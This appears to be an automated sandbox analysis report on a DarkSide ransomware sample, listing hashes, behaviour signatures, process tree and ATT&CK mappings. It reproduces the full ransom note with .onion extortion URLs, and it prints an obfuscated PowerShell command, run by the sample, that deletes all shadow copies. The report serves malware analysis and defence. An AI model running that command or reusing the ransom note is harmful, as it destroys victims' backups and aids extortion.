Analysis

  • max time kernel
    110s
  • max time network
    113s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    12-05-2021 19:34

General

  • Target

    48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

  • Size

    226KB

  • MD5

    c81dae5c67fb72a2c2f24b178aea50b7

  • SHA1

    4bd6437cd1dc77097a7951466531674f80c866c6

  • SHA256

    48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a

  • SHA512

    30d63e080f37f34fb29fd46f8fb1572d79f645154a002c8da5914ae3d51e224bc60601f91f5d58ac2ce9f81d56a8ad467d7fde55d429ed269df3c196e6687b2c

Malware Config

Extracted

Path

C:\\README.98239029.TXT

Family

darkside

Ransom Note
----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
    "C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe"
    1⤵
    • Modifies extensions of user files
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1852
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1332
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1684

Network

MITRE ATT&CK Matrix ATT&CK v6

Credential Access

Credentials in Files

1
T1081

Collection

Data from Local System

1
T1005

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
    MD5

    3774decb0af5a312ef542b01e84b5418

    SHA1

    87555814ab8794be9805c13f460cf02d93dfc84a

    SHA256

    d4e6a1da379a821e89e1d5c123e649223c095dc4851c5ef3eb7a3a018254fdee

    SHA512

    b3ed0af2409b21812daafd2d42249167b8b70d5d4658ee18047377ae72c72ff4827424a7404714bf11db5de7ca1e7296e6907f2297f6f5756b6838d47b8a7d97

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    MD5

    c6e2bf91782405b4d52f087b6bc574ea

    SHA1

    d0034ec75e368969c1e163a1dd3551ba32c7c4c6

    SHA256

    b132cc585ea15c307b2465e48ac051adaeb4bde58c3f7bb1a18e2d5ffdff1bbe

    SHA512

    6262839a1fba05e11d8bb298c4c317c96aacf796b72d92b5dc5b1e1f570f3f18f441977e6e863b835a38b8e275cd3169a57d6b2d0a1f329e07d550aedc8ff81a

  • memory/1332-70-0x000000001ACE4000-0x000000001ACE6000-memory.dmp
    Filesize

    8KB

  • memory/1332-72-0x000000001C360000-0x000000001C361000-memory.dmp
    Filesize

    4KB

  • memory/1332-64-0x0000000002040000-0x0000000002041000-memory.dmp
    Filesize

    4KB

  • memory/1332-65-0x000000001AD60000-0x000000001AD61000-memory.dmp
    Filesize

    4KB

  • memory/1332-62-0x0000000000000000-mapping.dmp
  • memory/1332-69-0x000000001ACE0000-0x000000001ACE2000-memory.dmp
    Filesize

    8KB

  • memory/1332-73-0x000000001B790000-0x000000001B791000-memory.dmp
    Filesize

    4KB

  • memory/1332-68-0x0000000002080000-0x0000000002081000-memory.dmp
    Filesize

    4KB

  • memory/1332-63-0x000007FEFC471000-0x000007FEFC473000-memory.dmp
    Filesize

    8KB

  • memory/1332-71-0x0000000001FA0000-0x0000000001FA1000-memory.dmp
    Filesize

    4KB

  • memory/1852-67-0x00000000002B0000-0x00000000002B1000-memory.dmp
    Filesize

    4KB

  • memory/1852-60-0x00000000002A0000-0x00000000002A1000-memory.dmp
    Filesize

    4KB

  • memory/1852-66-0x0000000000250000-0x000000000028C000-memory.dmp
    Filesize

    240KB

  • memory/1852-61-0x0000000076A81000-0x0000000076A83000-memory.dmp
    Filesize

    8KB